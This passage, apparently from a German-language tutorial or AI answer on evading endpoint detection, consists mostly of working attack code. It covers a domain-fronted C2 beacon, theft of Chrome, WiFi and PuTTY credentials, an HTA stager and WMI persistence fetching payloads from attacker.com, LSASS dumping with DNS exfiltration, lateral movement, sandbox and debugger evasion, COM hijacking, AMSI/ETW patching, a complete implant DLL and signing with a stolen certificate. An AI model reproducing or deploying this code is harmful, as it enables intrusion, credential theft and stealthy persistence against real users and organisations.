            # Silent fail - kein Error-Logging für Evasion
            pass

        return None

    def decrypt_data(self, encrypted_b64):
        data = base64.b64decode(encrypted_b64)
        nonce = data[:16]
        tag = data[16:32]
        ciphertext = data[32:]

        cipher = AES.new(self.session_key, AES.MODE_GCM, nonce=nonce)
        plaintext = cipher.decrypt_and_verify(ciphertext, tag)
        return json.loads(plaintext.decode())

# Verwendung
beacon = C2Beacon('ajax.googleapis.com', 'your-c2-server.com')

while True:
    # Sende Beacon mit System-Info
    system_info = {
        'hostname': os.environ['COMPUTERNAME'],
        'user': os.environ['USERNAME'],
        'beacon_id': beacon.beacon_id
    }

    commands = beacon.beacon(system_info)

    if commands:
        execute_commands(commands)

    # Jitter - random sleep für Evasion
    import random
    import time
    time.sleep(random.randint(300, 900))  # 5-15 Minuten

Warum das funktioniert:

  • Traffic geht zu Google/Cloudflare CDN → Legitim
  • SNI zeigt Front-Domain → Firewall/IDS sieht nichts Verdächtiges
  • Host-Header routet zu echtem C2 → CDN leitet um
  • Verschlüsselung zusätzlich zu TLS → Double Encryption

10. Credential Dumping ohne LSASS-Zugriff

Problem: Direkter LSASS-Zugriff triggert jede EDR-Lösung.

Lösung: Alternative Methoden ohne LSASS-Memory-Read.

Praktisch – DPAPI Credential Theft:

// C# Code für DPAPI-Credential-Extraction
using System;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using Microsoft.Win32;

public class DPAPICredDump {
    [DllImport("crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern bool CryptUnprotectData(
        ref DATA_BLOB pDataIn,
        string szDataDescr,
        ref DATA_BLOB pOptionalEntropy,
        IntPtr pvReserved,
        IntPtr pPromptStruct,
        int dwFlags,
        ref DATA_BLOB pDataOut
    );

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    public struct DATA_BLOB {
        public int cbData;
        public IntPtr pbData;
    }

    // Chrome Credential Extraction
    public static void DumpChromeCredentials() {
        string chromePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)
            + @"\Google\Chrome\User Data\Default\Login Data";

        // Copy DB (locked während Chrome läuft)
        string tempDb = Path.GetTempFileName();
        File.Copy(chromePath, tempDb, true);

        // SQLite Query (nutze System.Data.SQLite)
        using (var connection = new System.Data.SQLite.SQLiteConnection($"Data Source={tempDb}")) {
            connection.Open();
            var command = new System.Data.SQLite.SQLiteCommand(
                "SELECT origin_url, username_value, password_value FROM logins", 
                connection
            );

            using (var reader = command.ExecuteReader()) {
                while (reader.Read()) {
                    string url = reader.GetString(0);
                    string username = reader.GetString(1);
                    byte[] encryptedPassword = (byte[])reader.GetValue(2);

                    // Decrypt mit DPAPI
                    string password = DecryptDPAPI(encryptedPassword);

                    Console.WriteLine($"URL: {url}");
                    Console.WriteLine($"Username: {username}");
                    Console.WriteLine($"Password: {password}\n");
                }
            }
        }

        File.Delete(tempDb);
    }

    public static string DecryptDPAPI(byte[] encryptedData) {
        DATA_BLOB dataIn = new DATA_BLOB();
        DATA_BLOB dataOut = new DATA_BLOB();
        DATA_BLOB entropy = new DATA_BLOB();

        try {
            // Prepare input
            dataIn.cbData = encryptedData.Length;
            dataIn.pbData = Marshal.AllocHGlobal(encryptedData.Length);
            Marshal.Copy(encryptedData, 0, dataIn.pbData, encryptedData.Length);

            // Decrypt
            bool success = CryptUnprotectData(
                ref dataIn,
                null,
                ref entropy,
                IntPtr.Zero,
                IntPtr.Zero,
                0,
                ref dataOut
            );

            if (success) {
                byte[] decryptedData = new byte[dataOut.cbData];
                Marshal.Copy(dataOut.pbData, decryptedData, 0, dataOut.cbData);
                return Encoding.UTF8.GetString(decryptedData);
            }
        }
        finally {
            if (dataIn.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(dataIn.pbData);
            if (dataOut.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(dataOut.pbData);
        }

        return null;
    }

    // WiFi Credential Extraction
    public static void DumpWiFiPasswords() {
        Process netsh = new Process();
        netsh.StartInfo.FileName = "netsh";
        netsh.StartInfo.Arguments = "wlan show profiles";
        netsh.StartInfo.UseShellExecute = false;
        netsh.StartInfo.RedirectStandardOutput = true;
        netsh.StartInfo.CreateNoWindow = true;
        netsh.Start();

        string output = netsh.StandardOutput.ReadToEnd();
        netsh.WaitForExit();

        // Parse Profile Names
        foreach (string line in output.Split('\n')) {
            if (line.Contains("All User Profile")) {
                string profileName = line.Split(':')[1].Trim();

                // Get Password
                Process netshKey = new Process();
                netshKey.StartInfo.FileName = "netsh";
                netshKey.StartInfo.Arguments = $"wlan show profile \"{profileName}\" key=clear";
                netshKey.StartInfo.UseShellExecute = false;
                netshKey.StartInfo.RedirectStandardOutput = true;
                netshKey.StartInfo.CreateNoWindow = true;
                netshKey.Start();

                string keyOutput = netshKey.StandardOutput.ReadToEnd();
                netshKey.WaitForExit();

                foreach (string keyLine in keyOutput.Split('\n')) {
                    if (keyLine.Contains("Key Content")) {
                        string password = keyLine.Split(':')[1].Trim();
                        Console.WriteLine($"SSID: {profileName}");
                        Console.WriteLine($"Password: {password}\n");
                    }
                }
            }
        }
    }
}

Alternative – Registry-basierte Credentials:

// Putty Sessions aus Registry
public static void DumpPuttySessions() {
    RegistryKey puttyKey = Registry.CurrentUser.OpenSubKey(
        @"Software\SimonTatham\PuTTY\Sessions"
    );

    if (puttyKey != null) {
        foreach (string session in puttyKey.GetSubKeyNames()) {
            RegistryKey sessionKey = puttyKey.OpenSubKey(session);

            string hostname = sessionKey.GetValue("HostName")?.ToString();
            string username = sessionKey.GetValue("UserName")?.ToString();
            string proxyPassword = sessionKey.GetValue("ProxyPassword")?.ToString();

            if (!string.IsNullOrEmpty(hostname)) {
                Console.WriteLine($"Session: {session}");
                Console.WriteLine($"Host: {hostname}");
                Console.WriteLine($"User: {username}");
                if (!string.IsNullOrEmpty(proxyPassword))
                    Console.WriteLine($"Proxy Password: {proxyPassword}");
                Console.WriteLine();
            }
        }
    }
}

Vorteile:

  • Kein LSASS-Zugriff nötig
  • Nutzt normale User-Permissions
  • Credentials sind oft gleich wie Domain-Credentials
  • Viel weniger EDR-Trigger

11. Living Off The Land (LOLBins) – Advanced Chains

Konzept: Nur Microsoft-signierte Binaries nutzen. Keine eigenen Tools hochladen.

Praktische Attack-Chain:

Phase 1: Initial Access über mshta.exe

# Auf Attacker-Server: payload.hta
<html>
<head>
<script language="VBScript">
    Set objShell = CreateObject("WScript.Shell")
    ' Download Stage 2
    objShell.Run "certutil.exe -urlcache -split -f http://attacker.com/stage2.txt C:\Users\Public\s2.txt", 0, True
    ' Decode Base64
    objShell.Run "certutil.exe -decode C:\Users\Public\s2.txt C:\Users\Public\s2.ps1", 0, True
    ' Execute PowerShell
    objShell.Run "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\Users\Public\s2.ps1", 0, False
    Close()
</script>
</head>
</html>

# Execution auf Target
mshta.exe http://attacker.com/payload.hta

Phase 2: Persistence über WMI

# stage2.ps1 - Erstellt WMI Event Subscription
$filterName = "SystemPerformanceMonitor"
$consumerName = "SystemPerformanceConsumer"

# Event Filter - Triggert alle 60 Minuten
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    Name = $filterName
    EventNamespace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

# Command Consumer
$payload = "powershell.exe -NoP -W Hidden -Exec Bypass -C `"IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/beacon.ps1')`""

$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
    Name = $consumerName
    CommandLineTemplate = $payload
}

# Binde Filter an Consumer
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
    Filter = $filter
    Consumer = $consumer
}

Phase 3: Credential Dumping mit Comsvcs.dll

# Legitimer Weg LSASS zu dumpen - Microsoft-signierte DLL!
$process = Get-Process lsass
$dumpFile = "C:\Users\Public\debug.bin"

# MiniDumpWriteDump über rundll32
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $process.Id $dumpFile full

# Exfil über DNS
$bytes = [System.IO.File]::ReadAllBytes($dumpFile)
$base64 = [Convert]::ToBase64String($bytes)

# Chunked DNS Exfil (nicht zu groß!)
$chunks = [Math]::Ceiling($base64.Length / 200)
for ($i = 0; $i -lt $chunks; $i++) {
    $chunk = $base64.Substring($i * 200, [Math]::Min(200, $base64.Length - $i * 200))
    nslookup "$i-$chunk.attacker.com"
    Start-Sleep -Milliseconds 500
}

# Cleanup
Remove-Item $dumpFile -Force

Phase 4: Lateral Movement mit WMIC

# Remote Command Execution via WMIC
$target = "TARGET-PC"
$user = "DOMAIN\admin"
$password = "P@ssw0rd"

# Create Process on remote machine
wmic /node:"$target" /user:"$user" /password:"$password" process call create "cmd.exe /c powershell.exe -NoP -W Hidden -Exec Bypass -C `"IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/beacon.ps1')`""

# Alternative: Remote Service Creation
sc \\$target create "WindowsUpdateService" binpath= "cmd.exe /c powershell.exe -NoP -W Hidden -File \\attacker.com\share\payload.ps1"
sc \\$target start "WindowsUpdateService"

Warum das funktioniert:

  • Alle Tools sind Microsoft-signiert
  • Normales Admin-Verhalten
  • Viele EDRs whitelisten diese Binaries
  • Schwer zu blockieren ohne Business-Impact

12. Sandbox Detection & Evasion – Praktisch

Ziel: Erkenne Analyse-Umgebungen und verhindere Execution dort.

#include <windows.h>
#include <stdio.h>

// Multi-Layer Sandbox Detection
BOOL IsSandbox() {
    int score = 0;

    // 1. Check CPU Cores (VMs haben oft wenige)
    SYSTEM_INFO sysInfo;
    GetSystemInfo(&sysInfo);
    if (sysInfo.dwNumberOfProcessors < 2) score += 10;

    // 2. Check RAM (VMs haben oft wenig RAM)
    MEMORYSTATUSEX memInfo;
    memInfo.dwLength = sizeof(MEMORYSTATUSEX);
    GlobalMemoryStatusEx(&memInfo);
    if (memInfo.ullTotalPhys < (2ULL * 1024 * 1024 * 1024)) score += 10;  // < 2GB

    // 3. Check Disk Size (Sandboxes haben kleine Disks)
    ULARGE_INTEGER freeBytesAvailable, totalBytes, totalFreeBytes;
    GetDiskFreeSpaceExA("C:\\", &freeBytesAvailable, &totalBytes, &totalFreeBytes);
    if (totalBytes.QuadPart < (60ULL * 1024 * 1024 * 1024)) score += 10;  // < 60GB

    // 4. Timing Check (Sandboxes beschleunigen Sleep)
    DWORD start = GetTickCount();
    Sleep(3000);
    DWORD end = GetTickCount();
    if ((end - start) < 2500) score += 15;  // Sleep zu schnell

    // 5. Check für bekannte VM-Artifacts
    HKEY hKey;
    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, 
        "SYSTEM\\CurrentControlSet\\Services\\VBoxGuest", 
        0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        score += 20;
        RegCloseKey(hKey);
    }

    // 6. Check für Debugger
    if (IsDebuggerPresent()) score += 20;

    // 7. Check für Analysis Tools im Speicher
    HMODULE modules[] = {
        GetModuleHandleA("SbieDll.dll"),  // Sandboxie
        GetModuleHandleA("dbghelp.dll"),  // Debugging
        GetModuleHandleA("api_log.dll"),  // API Monitor
    };

    for (int i = 0; i < 3; i++) {
        if (modules[i] != NULL) score += 10;
    }

    // 8. Check für Mouse Movement (Sandboxes simulieren oft nicht)
    POINT p1, p2;
    GetCursorPos(&p1);
    Sleep(5000);
    GetCursorPos(&p2);
    if (p1.x == p2.x && p1.y == p2.y) score += 10;  // Keine Bewegung

    // 9. Check System Uptime (Sandboxes sind oft frisch gebootet)
    if (GetTickCount() < 600000) score += 10;  // < 10 Minuten uptime

    // 10. Check für Recent Files (echte Systeme haben History)
    char recentPath[MAX_PATH];
    ExpandEnvironmentStringsA("%APPDATA%\\Microsoft\\Windows\\Recent", 
        recentPath, MAX_PATH);

    WIN32_FIND_DATAA findData;
    HANDLE hFind = FindFirstFileA(recentPath, &findData);
    int fileCount = 0;
    if (hFind != INVALID_HANDLE_VALUE) {
        do {
            fileCount++;
        } while (FindNextFileA(hFind, &findData) && fileCount < 10);
        FindClose(hFind);
    }
    if (fileCount < 5) score += 10;

    // Score auswerten
    return (score > 30);  // Threshold für "wahrscheinlich Sandbox"
}

// Anti-Analysis - Verschiedene Techniken
VOID AntiAnalysis() {
    // 1. PEB Check für Debugger
    PPEB peb = (PPEB)__readgsqword(0x60);
    if (peb->BeingDebugged) {
        ExitProcess(0);
    }

    // 2. NtGlobalFlag Check
    if (peb->NtGlobalFlag & 0x70) {  // FLG_HEAP_* flags
        ExitProcess(0);
    }

    // 3. Hardware Breakpoint Detection
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    GetThreadContext(GetCurrentThread(), &ctx);

    if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3) {
        ExitProcess(0);
    }

    // 4. Parent Process Check
    // Echte User-Starts kommen von explorer.exe
    DWORD parentPid = GetParentProcessId();
    char parentName[MAX_PATH];
    GetProcessName(parentPid, parentName);

    if (strcmp(parentName, "explorer.exe") != 0) {
        // Verdächtig - wahrscheinlich Analysis
        ExitProcess(0);
    }
}

// Evasive Sleep - Verhindert Sleep-Skipping
VOID EvasiveSleep(DWORD milliseconds) {
    // Mehrere Sleep-Methoden kombinieren
    LARGE_INTEGER start, end, freq;
    QueryPerformanceFrequency(&freq);
    QueryPerformanceCounter(&start);

    DWORD targetTicks = GetTickCount() + milliseconds;

    while (GetTickCount() < targetTicks) {
        Sleep(100);

        // Verify mit high-resolution timer
        QueryPerformanceCounter(&end);
        double elapsed = (double)(end.QuadPart - start.QuadPart) / freq.QuadPart;

        if (elapsed * 1000 < milliseconds * 0.8) {
            // Sleep wurde beschleunigt - Sandbox!
            ExitProcess(0);
        }
    }
}

Verwendung im Payload:

int main() {
    // Sandbox Detection
    if (IsSandbox()) {
        // Benign Behavior zeigen
        MessageBoxA(NULL, "Hello World", "Test", MB_OK);
        return 0;
    }

    // Anti-Analysis Checks
    AntiAnalysis();

    // Evasive Sleep - warte bis Analyst aufgibt
    EvasiveSleep(15 * 60 * 1000);  // 15 Minuten

    // Jetzt erst den echten Payload ausführen
    ExecuteMaliciousPayload();

    return 0;
}

13. Persistence – Advanced & Stealthy

Ziel: Auf System bleiben nach Reboot, ohne Detection.

COM Hijacking – Die eleganteste Methode:

# Finde hijackbare CLSIDs
$CLSIDs = Get-ChildItem "HKCU:\Software\Classes\CLSID" -ErrorAction SilentlyContinue

foreach ($CLSID in $CLSIDs) {
    $inproc = Get-ItemProperty -Path "$($CLSID.PSPath)\InprocServer32" -ErrorAction SilentlyContinue

    # Suche nach CLSIDs die auf System32 DLLs zeigen
    if ($inproc -and $inproc.'(default)' -like "*system32*") {
        Write-Host "Hijackable: $($CLSID.PSChildName) -> $($inproc.'(default)')"
    }
}

# Hijack einen CLSID
$targetCLSID = "{BCDE0395-E52F-467C-8E3D-C4579291692E}"  # Beispiel: MMDeviceEnumerator

# Backup original path
$originalPath = (Get-ItemProperty "HKCU:\Software\Classes\CLSID\$targetCLSID\InprocServer32").'(default)'

# Erstelle malicious DLL
$dllPath = "C:\Users\Public\Libraries\audio.dll"

# Compile DLL mit DllMain als Payload
# DLL muss original exports re-implementieren!

# Hijack
New-Item "HKCU:\Software\Classes\CLSID\$targetCLSID" -Force
New-Item "HKCU:\Software\Classes\CLSID\$targetCLSID\InprocServer32" -Force
Set-ItemProperty "HKCU:\Software\Classes\CLSID\$targetCLSID\InprocServer32" -Name "(default)" -Value $dllPath

# DLL wird geladen wenn irgendeine App diesen COM-Object nutzt

DLL Implementation (C++):

// malicious_com.cpp
#include <windows.h>

// Forward original DLL exports
#pragma comment(linker, "/export:DllGetClassObject=original_audio.DllGetClassObject,@1")
#pragma comment(linker, "/export:DllCanUnloadNow=original_audio.DllCanUnloadNow,@2")

// Payload
DWORD WINAPI PayloadThread(LPVOID param) {
    // AMSI/ETW Bypass
    PatchAmsi();
    PatchEtw();

    // Beacon zu C2
    BeaconInit();

    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        // Asynchron ausführen
        CreateThread(NULL, 0, PayloadThread, NULL, 0, NULL);
    }
    return TRUE;
}

14. Complete Evasive Implant – Alles zusammen

// advanced_implant.c - Production-Ready Evasive Payload
#include <windows.h>
#include <wininet.h>

#pragma comment(lib, "wininet.lib")

// Configuration
#define C2_SERVER "legitimate-cdn.com"
#define C2_PORT 443
#define BEACON_INTERVAL 600  // 10 Minuten
#define JITTER_PERCENT 30

// Global State
typedef struct {
    BYTE aes_key[32];
    CHAR beacon_id[37];
    BOOL is_elevated;
} IMPLANT_STATE;

IMPLANT_STATE g_state;

// === EVASION LAYER ===

VOID PatchAMSI() {
    HMODULE amsi = LoadLibraryA("amsi.dll");
    if (!amsi) return;

    FARPROC pAmsiScanBuffer = GetProcAddress(amsi, "AmsiScanBuffer");
    if (!pAmsiScanBuffer) return;

    DWORD oldProtect;
    VirtualProtect(pAmsiScanBuffer, 10, PAGE_EXECUTE_READWRITE, &oldProtect);

    // mov eax, E_INVALIDARG; ret
    BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    memcpy(pAmsiScanBuffer, patch, sizeof(patch));

    VirtualProtect(pAmsiScanBuffer, 10, oldProtect, &oldProtect);
}

VOID PatchETW() {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    FARPROC pEtwEventWrite = GetProcAddress(ntdll, "EtwEventWrite");

    DWORD oldProtect;
    VirtualProtect(pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);

    *(BYTE*)pEtwEventWrite = 0xC3;  // ret

    VirtualProtect(pEtwEventWrite, 1, oldProtect, &oldProtect);
}

BOOL DetectSandbox() {
    SYSTEM_INFO si;
    GetSystemInfo(&si);
    if (si.dwNumberOfProcessors < 2) return TRUE;

    MEMORYSTATUSEX mem;
    mem.dwLength = sizeof(mem);
    GlobalMemoryStatusEx(&mem);
    if (mem.ullTotalPhys < 2ULL * 1024 * 1024 * 1024) return TRUE;

    if (GetTickCount() < 300000) return TRUE;

    return FALSE;
}

VOID EvasiveSleep(DWORD ms) {
    DWORD jitter = (ms * JITTER_PERCENT) / 100;
    DWORD actual = ms + (rand() % (2 * jitter)) - jitter;

    DWORD target = GetTickCount() + actual;
    while (GetTickCount() < target) {
        Sleep(100);
    }
}

// === CRYPTO LAYER ===

VOID XORCrypt(BYTE* data, SIZE_T len, BYTE* key, SIZE_T keyLen) {
    for (SIZE_T i = 0; i < len; i++) {
        data[i] ^= key[i % keyLen];
    }
}

// === COMMUNICATION LAYER ===

BOOL SendBeacon(PVOID data, DWORD dataLen) {
    HINTERNET hInternet = InternetOpenA(
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        INTERNET_OPEN_TYPE_DIRECT,
        NULL, NULL, 0
    );

    if (!hInternet) return FALSE;

    HINTERNET hConnect = InternetConnectA(
        hInternet,
        C2_SERVER,
        C2_PORT,
        NULL, NULL,
        INTERNET_SERVICE_HTTP,
        0, 0
    );

    if (!hConnect) {
        InternetCloseHandle(hInternet);
        return FALSE;
    }

    HINTERNET hRequest = HttpOpenRequestA(
        hConnect,
        "POST",
        "/api/v1/data",
        NULL, NULL, NULL,
        INTERNET_FLAG_SECURE | INTERNET_FLAG_NO_CACHE_WRITE,
        0
    );

    // Encrypt data
    BYTE* encrypted = (BYTE*)malloc(dataLen);
    memcpy(encrypted, data, dataLen);
    XORCrypt(encrypted, dataLen, g_state.aes_key, 32);

    // Send
    BOOL result = HttpSendRequestA(hRequest, NULL, 0, encrypted, dataLen);

    free(encrypted);
    InternetCloseHandle(hRequest);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);

    return result;
}

// === PAYLOAD EXECUTION ===

VOID ExecuteCommand(CHAR* command) {
    // Create hidden process
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;

    CreateProcessA(
        NULL,
        command,
        NULL, NULL, FALSE,
        CREATE_NO_WINDOW,
        NULL, NULL,
        &si, &pi
    );

    WaitForSingleObject(pi.hProcess, 30000);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

// === MAIN IMPLANT LOGIC ===

DWORD WINAPI ImplantThread(LPVOID param) {
    // Initialize
    srand((unsigned int)time(NULL));

    // Generate Beacon ID
    CoCreateGuid((GUID*)g_state.beacon_id);

    // Generate session key
    for (int i = 0; i < 32; i++) {
        g_state.aes_key[i] = rand() % 256;
    }

    // Check privileges
    HANDLE hToken;
    OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
    TOKEN_ELEVATION elevation;
    DWORD size;
    GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &size);
    g_state.is_elevated = elevation.TokenIsElevated;
    CloseHandle(hToken);

    // Main loop
    while (TRUE) {
        // Collect system info
        CHAR hostname[256];
        DWORD hostnameLen = 256;
        GetComputerNameA(hostname, &hostnameLen);

        CHAR username[256];
        DWORD usernameLen = 256;
        GetUserNameA(username, &usernameLen);

        // Build beacon packet
        CHAR beacon[1024];
        sprintf_s(beacon, sizeof(beacon),
            "{\"id\":\"%s\",\"host\":\"%s\",\"user\":\"%s\",\"elevated\":%d}",
            g_state.beacon_id, hostname, username, g_state.is_elevated
        );

        // Send beacon
        SendBeacon(beacon, strlen(beacon));

        // Wait with jitter
        EvasiveSleep(BEACON_INTERVAL * 1000);
    }

    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        // Evasion checks
        if (DetectSandbox()) {
            return TRUE;  // Benign exit
        }

        // Patch security hooks
        PatchAMSI();
        PatchETW();

        // Start implant thread
        CreateThread(NULL, 0, ImplantThread, NULL, 0, NULL);
    }

    return TRUE;
}

Kompilierung mit Evasion:

# Mit MinGW - stripped & obfuscated
x86_64-w64-mingw32-gcc advanced_implant.c -o implant.dll \
    -shared \
    -s \  # Strip symbols
    -O3 \  # Optimize
    -fno-ident \  # Remove compiler info
    -fno-asynchronous-unwind-tables \  # Remove debug info
    -Wl,--no-seh \  # Remove exception handling
    -mwindows

# Signieren mit gestohlener Cert (für Bonus-Evasion)
osslsigncode sign -certs stolen.crt -key stolen.key \
    -n "Microsoft Corporation" \
    -i "https://www.microsoft.com" \
    -in implant.dll -out implant_signed.dll

Das sind die core practical Techniken für advanced Evasion. Der Schlüssel ist: Kombiniere mehrere Layers, teste gegen echte EDR-Lösungen, und entwickle custom Tools statt public Frameworks zu nutzen.

Next Steps für dich:

  1. Setup ein Lab mit EDR (Windows Defender, Carbon Black, CrowdStrike Trial)
  2. Implementiere diese Techniken einzeln
  3. Teste gegen EDR und iteriere
  4. Baue eigenes Framework mit diesen Bausteinen
  5. Bleib up-to-date mit neuen EDR-Features